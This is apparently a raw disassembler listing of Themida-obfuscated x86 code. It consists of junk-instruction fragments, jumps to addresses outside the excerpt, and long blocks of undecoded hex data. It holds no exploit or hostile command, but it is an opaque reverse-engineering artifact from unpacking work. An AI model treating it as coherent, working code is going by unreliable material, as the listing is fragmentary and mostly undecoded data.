9A9D2320h jmp loc_55F5AF ; --------------------------------------------------------------------------- word_550BAE dw 8B66h ; DATA XREF: Themida_:0054FD88o dd 2568240Ch, 89000022h, 0EC83243Ch, 24348904h, 60B0E9h dd 0FFC68000h, 86E9D6F6h, 8B0000D5h, 0C4832404h, 0B16EE904h dd 1C890000h, 0B75BBB24h, 1FE94CF0h, 81000118h, 0EB32CEF1h dd 96BF5719h, 311E3F28h, 243C8BF9h, 4C481h, 0C1830000h dd 4706E901h, 2C890000h, 263B6824h, 0A1E90000h, 0BD0000FCh dd 1B4B72AEh, 0C2B5F581h, 5E9A032h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550C23: ; CODE XREF: Themida_:005647F8j sub edx, 12861E92h jmp loc_55F503 ; --------------------------------------------------------------------------- loc_550C2E: ; CODE XREF: Themida_:00564CE2j add esp, 4 add edx, 21144756h neg edx neg edx xor edx, 2D2E4D64h mov ebx, edx pop edx mov esi, ebx pop ebx push 7732h mov [esp], esi mov esi, 3D6D14F9h shr esi, 7 jmp loc_550EE4 ; --------------------------------------------------------------------------- db 81h dd 304062EBh, 81C30131h, 304062C3h, 0D9015831h, 2C1815Bh dd 33000000h, 0C31240Ch, 240C3324h, 7350E9h, 0D15F5E00h dd 41F581E5h, 4572E772h, 243C8755h, 3C87D7F7h, 0CD815D24h dd 57E669F2h, 9211C581h, 0EF012009h, 5D2434FFh, 9A47E9h dd 0C5BA5200h, 8138F300h, 5451CBCAh, 0C281420Dh, 0F28C2949h dd 815AD329h, 32544DC6h, 81DE0133h, 32544DEEh, 6957E933h dd 0B9510000h, 88339B4h, 1294C981h, 0C1411FADh, 0E94105E1h dd 0B3BEh, 485EF001h, 113868h, 240C8900h, 0DF582DB9h, 6E09051Fh dd 0C80173C5h, 0C56E092Dh, 0FA0E973h, 0D2F70000h, 6B8FBF57h dd 0B4E96E89h db 93h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550D1F: ; CODE XREF: Themida_:00561F8Aj pop edi dec edx xor edx, 0F8A127Fh sub ebp, edx pop edx xchg ebp, [esp] pop esp mov [esp], esi jmp loc_560685 ; --------------------------------------------------------------------------- loc_550D36: ; CODE XREF: Themida_:00556060j pop edi xor eax, [esp] jmp loc_56062E ; --------------------------------------------------------------------------- byte_550D3F db 66h ; DATA XREF: Themida_:0054FDE8o dd 5224048Bh, 24148B54h, 5304C483h, 84F5EBBh, 40E94B68h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550D57: ; CODE XREF: Themida_:0056456Dj pop esi sub eax, esi pop esi not eax push ecx mov ecx, 587C0DA7h inc ecx or ecx, 45DE57BBh and ecx, 788B3CD4h and ecx, 22961C8Ch dec ecx xor ecx, 391E63D9h sub eax, 38612F89h add eax, ecx jmp loc_5571F9 ; --------------------------------------------------------------------------- db 54h, 8Fh, 4 aHG_0 db '$hÙG',0 align 2 dw 1C89h dd 47A9BB24h, 5CE933A3h, 68000144h, 513D7A0Fh, 4F00E9h db 0 byte_550DA9 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:0054FC58o dd 55E68956h, 411AF2BDh, 11ED816Dh, 815B800Fh, 0E03F19F5h dd 1917E978h, 0EB810001h, 23116066h, 5F2434FFh, 8304C483h dd 0FF5304C3h, 0E9042474h, 0C244h ; --------------------------------------------------------------------------- loc_550DE0: ; CODE XREF: Themida_:0055B010j push ebp pop edi pop ebp mov eax, 202C6DDBh jmp loc_55C852 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0E189240Ch, 3233BE56h, 0EE817BBBh, 772B654Fh dd 0FFFFEE81h, 0EC81FFFFh, 4, 0BD242C89h, 29E936DFh, 0FCE1B850h dd 0C501F79Eh, 216CE9h db 0 ; --------------------------------------------------------------------------- loc_550E25: ; CODE XREF: Themida_:00558A55j mov edi, 42FC7B41h jmp loc_55937C ; --------------------------------------------------------------------------- db 5Dh dd 0B5E9F029h db 0E5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550E37: ; CODE XREF: Themida_:00552F3Cj or eax, 661D5F79h add eax, 89E5C560h xor ebx, eax push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 jmp loc_55E3B2 ; --------------------------------------------------------------------------- dd 0D2F74A5Ah, 1138FE9h, 4EE8300h, 51ABE9h db 0 ; --------------------------------------------------------------------------- loc_550E65: ; CODE XREF: Themida_:005609A0j xor ecx, esi pop esi mov esi, ecx pop ecx dec esi shr esi, 3 sub esp, 4 mov [esp], eax mov eax, 3A897ABCh push esi mov esi, 16C656E7h jmp loc_5556B3 ; --------------------------------------------------------------------------- loc_550E85: ; CODE XREF: Themida_:0055EA5Ej sub edx, ecx mov ecx, [esp] push eax push esp jmp loc_5633EE ; --------------------------------------------------------------------------- db 29h, 0D6h, 0E9h dd 1359Eh, 5AE8E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_550E9E: ; CODE XREF: Themida_:0055431Fj push edx mov edx, 381C1928h shl edx, 1 and edx, 2F9B1814h jmp loc_551BBF ; --------------------------------------------------------------------------- loc_550EB1: ; CODE XREF: Themida_:0055CC89j xor edi, 5FD12BA5h mov ebx, edi pop edi or ebx, 10DC0C7Bh dec ebx sub ebx, 38CAF487h jmp loc_552145 ; --------------------------------------------------------------------------- dd 5BDA015Eh, 0AFE9D2F7h, 83000083h, 0C58004C4h, 0E9CDFE48h dd 3361h ; --------------------------------------------------------------------------- loc_550EE4: ; CODE XREF: Themida_:00550C5Aj add esi, 0FFFFFFFFh shr esi, 8 not esi add esi, 7D32885Fh sub ecx, esi mov esi, [esp] add esp, 4 add ecx, esi add ecx, 7D320D84h jmp loc_5552AE ; --------------------------------------------------------------------------- aIXs db 'ˆÂXéÄ',0Ah,0 align 2 dw 0E95Bh dd 0E203h, 1A2CD828h, 0BC2C1C04h, 808CB551h, 0D5F68AF5h dd 10469E9h db 0 ; --------------------------------------------------------------------------- loc_550F2D: ; CODE XREF: Themida_:0055A5BAj shr dh, 5 jmp loc_5532EE ; --------------------------------------------------------------------------- db 68h, 97h, 5Fh dd 0C890000h, 2D70E924h, 14890000h, 0E95A5424h, 11B17h dd 96C7B68h, 57BEE92Fh, 0C2830000h, 24148704h, 4BB535Ch dd 56000000h, 6B19E5BEh, 77C4E962h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550F6E: ; CODE XREF: Themida_:0055A05Fj pop ebp not eax jmp loc_55E19D ; --------------------------------------------------------------------------- dw 0B5B8h dd 2D51B819h, 0F0E9FAA3h, 48BC301h, 4C48124h, 0E9000000h dd 0E934h, 806EB551h, 0EA0006EDh, 2D86E959h db 1, 0 ; --------------------------------------------------------------------------- loc_550F9E: ; CODE XREF: Themida_:005508ACj mov edi, 26A24BC5h sub ecx, edi jmp loc_558C98 ; --------------------------------------------------------------------------- aGsym db 'µgéYm',0 dd 4C48100h, 83000000h, 0C48104C4h, 4, 0FFEF52E9h db 0FFh ; --------------------------------------------------------------------------- loc_550FC5: ; CODE XREF: Themida_:00564095j and edx, edi pop edi jmp loc_55CAF3 ; --------------------------------------------------------------------------- aXh_ db 'XhÔ_',0 dw 8900h dd 0FD88240Ch, 0EF88D5F6h, 0E9516659h, 0AB27h ; --------------------------------------------------------------------------- loc_550FE4: ; CODE XREF: Themida_:00557206j push edi push 71372292h pop edi push ebp mov ebp, 216421DCh push esi mov esi, 4277185Eh or esi, 7DEF2B2Ah dec esi sub esi, 4AAA23E0h jmp loc_55FF96 ; --------------------------------------------------------------------------- db 0B9h, 0A5h, 66h dd 0E1811C07h, 0AB9380Fh, 4E9C141h, 3D81E981h, 0E1C13821h dd 7AE98102h, 1E239C1h, 240C8BC8h, 4C481h, 0C3010000h dd 241C8758h, 0E117E9h, 4ED6F700h, 2BBF5746h, 291A4565h dd 0D6F75FFEh, 303EE81h, 0F331AA17h, 8BDF015Eh, 0A1E9241Ch dd 810000B0h, 2C4CCAC7h, 32EE816Bh, 0E9180E44h, 946Fh ; --------------------------------------------------------------------------- loc_551070: ; CODE XREF: Themida_:00565442j and ebp, 3E27161Fh push ecx mov ecx, 61C77D97h and ebp, ecx pop ecx xor ebp, 5B6738C2h sub eax, ebp pop ebp push edx mov edx, 45863EB4h push ecx mov ecx, 78175C49h and edx, ecx push dword ptr [esp] jmp loc_55AE25 ; --------------------------------------------------------------------------- dw 0FBB9h dd 29744375h, 122D59CBh, 1315B70h, 4DE955D8h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5510B3: ; CODE XREF: Themida_:00559D63j push ebx push esi mov esi, 119055BBh mov ebx, esi jmp loc_564068 ; --------------------------------------------------------------------------- db 81h, 0F3h, 5Fh dd 299BE01Fh, 8597E9D9h, 0D1BB0000h, 0E913EC5Dh, 98A1h dd 0C0EACB80h, 0CBFE03E3h, 807FE380h, 0D800AEC3h, 0C3305B5Bh dd 0FFC0B60Fh, 62688734h, 8900000Dh, 0CBD242Ch, 0E926A14Dh dd 1405h ; --------------------------------------------------------------------------- loc_551104: ; CODE XREF: Themida_:00556ABCj add [esp+4], edx pop edx push dword ptr [esp] mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_55BA2C ; --------------------------------------------------------------------------- dd 0DD635CB9h, 59CF012Eh, 0B850D701h, 7C9B1EB2h, 0D926D525h dd 1BD555Dh, 29000000h, 0D0F75DE8h, 561BBD55h, 19E94D51h dd 0BD00008Ch, 7C035339h, 4CE9DD31h, 57000091h, 4BFh, 5FFA0100h dd 3DA4E9h, 42E95600h, 530000A8h, 0D1778F68h, 0D9095B58h dd 4CC9815Bh, 501AE724h, 793FCAB8h, 58C1313Ah, 4021F181h dd 63E96486h db 7Eh, 2 dup(0) aNsP db 'é#¯',0 ; DATA XREF: Themida_:0054FE30o db 0 ; --------------------------------------------------------------------------- loc_551199: ; CODE XREF: Themida_:0055343Ej add ecx, 4 xchg ecx, [esp] pop esp pop dword ptr [esp] pop esp and ecx, edx pop edx shr ecx, 0Ah push esi push ebx mov esi, [esp] push edi sub esp, 4 mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx jmp loc_557D20 ; --------------------------------------------------------------------------- db 0B8h dd 4, 8758C329h, 895C241Ch, 8268240Ch, 0E936F791h, 0F168h ; --------------------------------------------------------------------------- loc_5511E4: ; CODE XREF: Themida_:0055C777j add esi, 178715E3h pop ebx inc esi shr esi, 8 shl esi, 4 dec esi add esi, 357305B6h sub esi, 3B540D81h add ecx, esi jmp loc_55EC11 ; --------------------------------------------------------------------------- dw 0C87h dd 24248B24h, 0FF241489h, 0E9042474h, 0DC91h, 4C6815Eh dd 83000000h, 343304C6h, 24343124h, 0E9243433h, 121EFh dd 4CF181h, 0D1F76DE3h, 72ECE949h, 14330000h, 24143124h dd 624EE9h db 0 ; --------------------------------------------------------------------------- loc_551249: ; CODE XREF: Themida_:0055CB00j push ebx mov ebx, 25F5148h add ebx, 12976925h dec ebx not ebx inc ebx xor ebx, 0D0345BF1h xor esi, ebx jmp loc_5527DD ; --------------------------------------------------------------------------- loc_551266: ; CODE XREF: Themida_:005554A1j mov edx, 1C981D89h mov ebp, edx pop edx inc ebp add ebp, 621DF00Ch push edi jmp loc_5517DC ; --------------------------------------------------------------------------- db 81h dd 905BF0C3h, 242C8B7Ch, 52E18951h, 12FF0E9h db 0 ; --------------------------------------------------------------------------- loc_55128D: ; CODE XREF: Themida_:005569E8j pop ecx push ecx mov ecx, 37F90087h and ecx, 5E780F01h add ecx, 1A6D62FBh jmp loc_561DEC ; --------------------------------------------------------------------------- db 0BEh, 1, 0Eh dd 0F3010560h, 3EBC15Eh, 4C7BEB81h, 0DA89CB4Ch, 0CEC7E95Bh dd 48F0000h, 24248B24h, 4B30F66h, 48E99C24h, 89FFFFECh dd 89502414h, 405E0h, 0E8830000h, 24048704h, 0E924248Bh dd 6C15h, 88A3B652h, 58E95AF3h, 5700002Ah, 0B850E789h dd 14D57D6Fh, 0BB53D8F7h, 2BA71FF5h, 1C8BD801h, 4C48124h dd 35000000h, 7F5A04E4h, 6EBB5348h, 432D0836h, 0BE56DBF7h dd 541156A5h, 0DAE9F301h, 83000113h, 0EB8104C4h, 0B2A7FDAh dd 0C381EB29h, 0B2A7FDAh, 0F330E9h, 0E9D80100h, 138A0h dd 0ABE68h, 24048900h, 0C07684B8h, 77F76810h, 0C890000h dd 8684B924h, 0C82948BEh, 70C18159h, 145A266h, 70E981C1h dd 5845A266h, 0E959CB31h, 0E637h, 24E4EA81h, 0E9592C0Ah dd 884Dh, 18497DB8h, 209C0D42h, 0D8F734D1h, 0C22DD0F7h dd 94792F2h, 24048BC2h, 8104C483h, 0B591EEF2h, 8BD5894Fh dd 0C4812414h, 4, 32DEA81h, 0EA8121D5h, 11A847D6h, 0C281EA01h dd 11A847D6h, 32DC281h, 515D21D5h, 2B956857h, 3C8B466Fh dd 4C48124h, 81000000h, 101792C7h, 83C78179h, 8999ADBDh dd 9FB8E9F9h, 0F7310000h, 8124348Bh, 4C4h, 0E38DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551402: ; CODE XREF: Themida_:0055DC6Fj pop esp push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_557DB7 ; --------------------------------------------------------------------------- loc_551414: ; CODE XREF: Themida_:005633F7j push ecx push dword ptr [esp+4] pop ecx jmp loc_5551A5 ; --------------------------------------------------------------------------- loc_55141F: ; CODE XREF: Themida_:00554F6Cj mov edx, esp jmp loc_55EDFB ; --------------------------------------------------------------------------- dw 0C181h dd 4, 4BA52h, 0D1010000h, 240C875Ah, 0B56DE95Ch, 48F0000h dd 24248B24h, 68241C89h, 772Ah, 83242489h, 5B042404h, 663868h dd 51D6E900h db 2 dup(0) word_55145E dw 2DADh ; DATA XREF: Themida_:0054FDC8o dd 76B402FEh, 4A4C582Dh, 32A1E959h, 34870000h, 2C895C24h dd 1E17E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55147A: ; CODE XREF: Themida_:00558EA1j push ebx push ebp push ebx push 6B3C6E63h mov ebx, [esp] jmp loc_55E2C3 ; --------------------------------------------------------------------------- loc_55148A: ; CODE XREF: Themida_:00565090j pop dword ptr [esp] mov esp, [esp] push 28DCh mov [esp], esi mov esi, 7898714Bh sub esi, 6834102Fh and esi, 27CA6705h xor esi, 683A9Fh xor esi, 1476582Fh xchg ebp, esi not ebp xchg ebp, esi push esi xchg ebx, [esp] not ebx xchg ebx, [esp] pop esi sub esi, 739C217Ah push edx push 23EDh jmp loc_5561F1 ; --------------------------------------------------------------------------- loc_5514D6: ; CODE XREF: Themida_:00559BB5j sub esp, 4 mov [esp], eax push 36C140C5h mov eax, [esp] add esp, 4 shr eax, 6 push ebx mov ebx, 6F083DD6h jmp loc_553ADE ; --------------------------------------------------------------------------- dd 0F706E6C1h, 0EE814ED6h, 0FEFBFBBAh, 0A5ADE9h, 0FF5D5F00h dd 1C8B2434h, 4C48124h, 56000000h, 4EC81h, 24890000h, 24048124h dd 4, 8124348Bh, 4C4h, 4C68100h, 68000000h, 69CCh, 0B8240489h dd 29776490h, 0B951D8F7h, 0D6889B74h, 159C831h, 0F5BBE9C6h dd 0F740FFFFh, 459535D8h, 0D8F77161h, 0B5FEE956h, 0E9550000h dd 2F3h, 4437C681h, 7868189Ch, 89000078h, 0EC812404h, 4 dd 0B9240C89h, 71F153B6h, 0F00F86B8h, 59C801B7h, 1DF3C681h dd 0C6295F33h, 1DF3EE81h, 5B585F33h, 5550C601h, 4673B7BDh dd 569EB839h, 0E83137D7h, 0F89BE9h, 240C8700h, 5352515Ch dd 89E950B3h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5515C3: ; CODE XREF: Themida_:00551E40j push eax jmp loc_55A28D ; --------------------------------------------------------------------------- db 0BAh, 0B9h, 4Dh dd 0C28153A8h, 51A966A8h, 0A62EA81h, 81423BDCh, 0B46EADC2h dd 8BD389B7h, 0C4812414h, 4, 0C15BDA21h, 0F28103E2h, 71C18F81h dd 55AD001h, 31195CB3h, 0E957C801h, 1345Ah, 592434FFh dd 8304C483h, 3C8904ECh, 4D0B6824h, 0A2E90000h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55161F: ; CODE XREF: Themida_:005645A0j pop esp and ecx, ebp push dword ptr [esp] pop ebp add esp, 4 shr ecx, 6 jmp loc_554BD9 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0D0h dd 0E9402639h, 8EF3h, 405E089h, 83000000h, 0FF5004C0h dd 58042474h, 0C8A9E9h, 81E18900h, 4C1h, 4C18300h, 0FFFF54E9h dd 4C481FFh, 28000000h, 348368D8h, 32E90000h, 5A0000F5h dd 81E28952h, 4C2h, 4B85000h, 0E9000000h, 0FFFFEB7Ch, 51241489h dd 10911E9h, 24048F00h, 8124248Bh, 0ED12A6F3h, 18E95041h dd 83000078h, 0BF5704C4h, 69E0CA5h, 137EEE9h, 59CF8100h dd 81034C7Ah, 5C42E5EFh, 0BBF7816Ch, 1B15377h, 0B1055FF8h dd 5601E67h, 7EA1FA4h, 0A42DD029h, 6807EA1Fh, 7390h, 0B9240C89h dd 0BDD3CFEh, 1B4FC181h, 0C1817E6Dh, 79905D2Ch, 10881E9h dd 5DE88900h, 599E957h, 565D0001h, 100F6E9h db 0 ; --------------------------------------------------------------------------- loc_551705: ; CODE XREF: Themida_:0055F2BBj pop eax jmp loc_558E07 ; --------------------------------------------------------------------------- aISl db '‰$$é«Ì',0 db 0 ; --------------------------------------------------------------------------- loc_551713: ; CODE XREF: Themida_:00563B1Fj mov edi, 4 add ebp, edi jmp loc_563692 ; --------------------------------------------------------------------------- aSvsR db ')èVéœ',0 dw 8800h dd 0C5FE5AD5h, 3016B050h, 0A1D3E9C5h, 0C6810000h, 4, 308FBB53h dd 814B3C7Eh, 7E308AEBh, 5BDE293Ch, 5C243487h, 89240C89h dd 1B5C68E1h, 0EEE90000h db 0C1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55175F: ; CODE XREF: Themida_:00552E38j shl ebx, 1 xor ebx, 5E35F72h or ebx, 10B80E14h push eax push esi push 54802712h pop esi or esi, 2A307091h jmp loc_557A65 ; --------------------------------------------------------------------------- aYs db 'Yé:Û',0 align 2 loc_551786: ; CODE XREF: Themida_:00557E95j add ebp, 685C2A0Ah sub ebp, 51DE6F6Fh pop edx push eax mov eax, 1B149B6h xor eax, 1B149B2h add ebp, eax pop eax xchg ebp, [esp] pop esp and eax, ebx jmp loc_555371 ; --------------------------------------------------------------------------- dword_5517AC dd 0F4CBE9ADh, 1C8B0000h, 4C48324h, 6FF5C281h, 0C2817B0Dh ; DATA XREF: Themida_:0054FDE4o dd 914549Bh, 595AE9h, 0F2295800h, 2698E95Eh, 0D8F60000h dd 0E905E8C0h, 0C013h ; --------------------------------------------------------------------------- loc_5517DC: ; CODE XREF: Themida_:00551276j mov edi, 6BF85D53h sub eax, 69D23C3Eh jmp loc_55A9E6 ; --------------------------------------------------------------------------- loc_5517EB: ; CODE XREF: Themida_:00559D33j sub esi, eax pop eax sub ebp, 1F86A72h jmp loc_560B5B ; --------------------------------------------------------------------------- loc_5517F9: ; CODE XREF: Themida_:00561623j push edx push edi push 599E4160h pop edi dec edi jmp loc_555173 ; --------------------------------------------------------------------------- loc_551807: ; CODE XREF: Themida_:00564AF1j mov ecx, esp push ebx mov ebx, 17E35927h add ebx, 789F7C8Dh shl ebx, 3 sub ebx, 1AFD6E6Ah shr ebx, 8 xor ebx, 670314D2h push edx jmp loc_550141 ; --------------------------------------------------------------------------- byte_55182D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FE6Co dd 48E95124h db 0FEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_551837: ; CODE XREF: Themida_:0055ADFAj neg ecx or ecx, 72342118h xor ecx, 0F3B5FDFAh add esi, ecx pop ecx sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push 628Ch jmp loc_556DD7 ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 81000000h, 4C5h, 242C3300h, 33242C31h, 835C242Ch dd 79E902E9h, 870000BFh, 248B243Ch, 4C38124h, 0E9000000h dd 6E95h, 4BDFB850h, 0AE050093h, 0E96F6706h, 323Ah, 0A63EF781h dd 0FB2941B8h, 81CB015Fh, 0CB3BB9C3h, 68575168h, 59C0FF8h dd 0FE7815Fh, 0F774AA5Ch, 79C781D7h, 89578F23h, 0CB015FF9h dd 0BBE95959h db 0F5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5518D3: ; CODE XREF: Themida_:0054FFD9j mov edi, 60F455E4h neg edi xor edi, 0CB5D459Fh add edx, edi pop edi add eax, 4F396024h sub eax, edx sub eax, 4F396024h mov edx, [esp] add esp, 4 push dword ptr [esp] jmp loc_5523AF ; --------------------------------------------------------------------------- dword_551900 dd 0FF1C77FFh, 48B2434h, 4C48324h, 7CFAE952h ; DATA XREF: Themida_:0054FD44o db 2 dup(0) ; --------------------------------------------------------------------------- loc_551912: ; CODE XREF: Themida_:005541C4j push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_54FF17 ; --------------------------------------------------------------------------- dd 1665B66h, 0BD6655D8h, 0EC811BF5h, 4, 0D062E9h db 0 ; --------------------------------------------------------------------------- loc_551945: ; CODE XREF: Themida_:0056191Aj not ebp add ebp, 5243565Dh jmp loc_55A05D ; --------------------------------------------------------------------------- dw 8159h dd 4C4h, 76C06800h, 14890000h, 518D6824h, 8F540000h, 0BE562404h dd 4, 4247401h, 8124348Bh, 4C4h, 89525A00h, 4C281E2h, 0E9000000h dd 51DCh ; --------------------------------------------------------------------------- loc_55198C: ; CODE XREF: Themida_:005585EDj push dword ptr [esp] pop ebx push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5636C4 ; --------------------------------------------------------------------------- loc_5519A4: ; CODE XREF: Themida_:00563310j pop edi and eax, edx push dword ptr [esp] pop edx add esp, 4 or eax, eax jz loc_5633DB push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_55443B ; --------------------------------------------------------------------------- dw 489h dd 2718E924h, 0C2800001h, 4509E955h, 0D9010000h, 1EBCE95Bh db 1, 0 ; --------------------------------------------------------------------------- loc_5519E6: ; CODE XREF: Themida_:0055C65Dj push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop edx push ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_55B920 ; --------------------------------------------------------------------------- loc_551A04: ; CODE XREF: Themida_:0055C21Cj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_550446 ; --------------------------------------------------------------------------- loc_551A16: ; CODE XREF: Themida_:0055BF6Bj pop ecx pop edx pop ecx neg ebp jmp loc_55043E ; --------------------------------------------------------------------------- aZsyc db 'Zéy—',0 align 2 dw 0BF57h dd 6446399Dh, 3C8BF801h, 3525E924h, 555D0001h, 4BDh, 5DE90100h dd 5C240C87h, 0D63AE9h, 0E9DDF700h, 0FEA0h, 4C27A9B8h dd 0CCE12D03h, 0C101E88Ch, 582434FFh, 1DB3E950h, 81580001h dd 1277A0EDh, 45F58162h, 0E9A201D1h, 1335Dh, 7F3BD55h dd 0ED8102DEh, 0BBF6CF47h, 0AB139F2Dh, 5E82955h, 55AB139Fh dd 51F0015Dh, 0B931B6B9h, 0F181494Eh, 85E0919h, 8B59C801h dd 0EC812434h, 4, 89240489h, 405E0h, 9680000h, 89000023h dd 0FFE92434h db 0FAh, 2 dup(0) byte_551AC3 db 0ADh ; DATA XREF: Themida_:0054FD74o dd 5651D831h, 0F14FE9h, 636A6800h, 3C890000h, 51E78924h dd 3B6C00B9h, 0D1F7493Dh, 6C04C181h, 0CF013D3Bh, 4EC8159h dd 89000000h, 4BD242Ch, 29000000h, 6A75E9EFh, 0FF660000h dd 0E99C2404h, 0FFFFE40Fh dword_551B08 dd 833C77FFh, 348904ECh, 0FE685024h, 8B274272h, 0C4812404h ; DATA XREF: Themida_:0054FEB8o dd 4, 0BD169A35h, 34632D41h, 1FE962B6h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551B2F: ; CODE XREF: Themida_:00557AD2j pop eax jmp loc_55E7E0 ; --------------------------------------------------------------------------- loc_551B35: ; CODE XREF: Themida_:00564459j add ecx, 2 xor ecx, [esp] jmp loc_550021 ; --------------------------------------------------------------------------- loc_551B43: ; CODE XREF: Themida_:0055B22Aj and ebx, ecx jmp loc_560824 ; --------------------------------------------------------------------------- loc_551B4A: ; CODE XREF: Themida_:005571BBj add esp, 4 loc_551B4D: ; CODE XREF: Themida_:loc_563597j push ebp mov ebp, esp push 1570h mov [esp], ebx jmp loc_559E24 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 8Fh dd 89FFFFF8h, 61E95AD5h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_551B6B: ; CODE XREF: Themida_:00556096j mov esi, 2DA3269Ah xor esi, 377D3B6Ah not esi or esi, 3F1029A8h push eax jmp loc_55CA56 ; --------------------------------------------------------------------------- loc_551B84: ; CODE XREF: Themida_:00557F68j sub esi, edx sub esi, 5A3C0816h pop edx and eax, esi pop esi or eax, eax jz loc_5584A2 sub esp, 4 mov [esp], ebx push eax push 1B55h mov [esp], edi mov edi, 50C73B28h shr edi, 1 push ebp push ebx mov ebx, 6A0A06EFh mov ebp, ebx jmp loc_550B30 ; --------------------------------------------------------------------------- loc_551BBF: ; CODE XREF: Themida_:00550EACj add edx, 4DF1442Bh push 4988h jmp loc_558AE1 ; --------------------------------------------------------------------------- db 89h dd 0E9F889EFh, 0C1CEh aNups6 db 'UPé6š',0 ; DATA XREF: Themida_:0054FE4Co align 10h dd 4C181h, 80E90000h, 81000035h, 4C4h, 34C5E900h db 1, 0 ; --------------------------------------------------------------------------- loc_551BF6: ; CODE XREF: Themida_:00555755j mov ebx, [esp] jmp loc_54FF70 ; --------------------------------------------------------------------------- dw 0D989h dd 22F8685Bh, 2C890000h, 67E5BD24h, 0E90902A3h, 83242C8Bh dd 0E1C104C4h, 0B52E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551C1E: ; CODE XREF: Themida_:005573B3j pop ebp shl ecx, 1 xor ecx, 4D2824EBh push ebp jmp loc_5617AA ; --------------------------------------------------------------------------- db 5Ah, 1, 0CDh dd 5DE92959h, 5324148Bh, 0B850E389h, 7D0A3267h, 505E8C1h dd 4DB84D1Bh, 7A91E9h db 0 ; --------------------------------------------------------------------------- loc_551C4D: ; CODE XREF: Themida_:005587DEj pop esp jmp loc_556AE1 ; --------------------------------------------------------------------------- loc_551C53: ; CODE XREF: Themida_:0055350Ej push ebx not dword ptr [esp] pop ebx jmp loc_553B76 ; --------------------------------------------------------------------------- db 68h, 44h, 2Fh dd 0C890000h, 511E6824h, 41596A4Ch, 56D1F749h, 0EE0CE9BEh dd 0FFEE8141h, 81FFFFFFh, 7B700DF6h, 0FFF1096Dh, 815E2434h dd 4C4h, 75CDE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551C92: ; CODE XREF: Themida_:0055DA68j mov esp, [esp] jmp loc_54FF17 ; --------------------------------------------------------------------------- dw 0C821h dd 592434FFh, 4C481h, 0E9400000h, 0AAF0h, 0F008E956h, 5590000h dd 3B813D7Fh, 8AC68E05h, 4E98177h, 0E970394Bh, 0AEF3h dd 0EC83D204h, 24148904h, 2ECB68h, 24048900h, 0DCF68BB4h dd 0C003E4C0h, 0C2E907ECh, 8100010Bh, 4C4h, 0A0E3E900h dd 0B9510000h, 31A4799Dh, 0F706E9C1h, 20A1E9D9h db 2 dup(0) word_551D02 dw 4ACh ; DATA XREF: Themida_:0054FE78o a2sN db '2é¾N',0 align 2 dw 0EF83h dd 81B7E904h, 0C7810000h, 4, 8104C783h, 4ECh, 243C8900h dd 42474FFh, 24048F5Fh, 3F09685Ch, 34890000h, 0E9E68924h dd 0B2D4h, 31240433h, 4332404h, 85D5E924h, 81040000h, 0B551E828h dd 0D8E580BFh, 0C23FE9h db 0 ; --------------------------------------------------------------------------- loc_551D59: ; CODE XREF: Themida_:0055527Bj xor cl, 2Eh xor cl, 5 add dl, cl pop ecx not dl add dl, 57h mov bl, dl jmp loc_5593C2 ; --------------------------------------------------------------------------- word_551D6E dw 34FFh ; DATA XREF: Themida_:0054FE68o dd 1A90E924h db 1, 0 word_551D76 dw 0BB53h ; DATA XREF: Themida_:0054FCF4o dd 38h, 4784E950h, 90680000h, 5E0AFB21h, 5691C681h, 5F56275Ch dd 0F699E95Eh, 7CE90000h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551D9B: ; CODE XREF: Themida_:0055F810j mov ebp, esp jmp loc_55905D ; --------------------------------------------------------------------------- dw 26BAh dd 52013133h, 57243481h, 5E2B9813h, 1357F681h, 148B2B98h dd 9D36824h, 76E90000h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551DC3: ; CODE XREF: Themida_:005595A2j add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], ebx jmp loc_55A368 ; --------------------------------------------------------------------------- loc_551DE1: ; CODE XREF: Themida_:0055EBE2j mov [esp], ecx push 200000h jmp loc_55FB88 ; --------------------------------------------------------------------------- loc_551DEE: ; CODE XREF: Themida_:005587F6j pop edx add edx, 4 sub esp, 4 mov [esp], ebp mov ebp, 68AF354Dh dec ebp add ebp, 542F46AFh not ebp inc ebp shr ebp, 6 or ebp, 50656D3Fh add ebp, 0AE9210C5h add edx, ebp jmp loc_55C1AF ; --------------------------------------------------------------------------- dd 2404A30Fh, 0B909E99Ch, 4050000h, 0E9000000h, 0EDCCh ; --------------------------------------------------------------------------- 